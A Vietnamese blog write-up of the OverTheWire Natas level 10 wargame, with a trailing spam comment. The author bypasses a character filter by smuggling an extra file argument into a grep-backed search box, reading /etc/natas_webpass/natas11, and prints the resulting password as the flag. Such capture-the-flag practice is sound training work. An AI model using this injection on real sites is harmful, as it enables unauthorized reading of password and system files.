[OverTheWire] Natas – Level 10

http://natas10.natas.labs.overthewire.org/

For security reasons, we now filter on certain characters
Find words containing…

Tương tự bài 09, nhưng có vẻ như đã escape mất rồi emo_popo_sweat Xem source:

Như vậy các ký tự bị lọc là:

[ ; | & ]

Cũng đâu có sao nhỉ, không có ; thì cũng vẫn được mà emo_popo_haha Inject với input:

'' /etc/natas_webpass/natas11

Kết quả:

/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
dictionary.txt:
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
...

→ flag = U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK.

One thought on “[OverTheWire] Natas – Level 10

  1. LastShana says:

    I have noticed you don’t monetize your site,
    don’t waste your traffic, you can earn extra cash every month
    because you’ve got hi quality content. If you want to know how to make extra money, search for:
    Mertiso’s tips best adsense alternative

Leave a Reply

Your email address will not be published. Required fields are marked *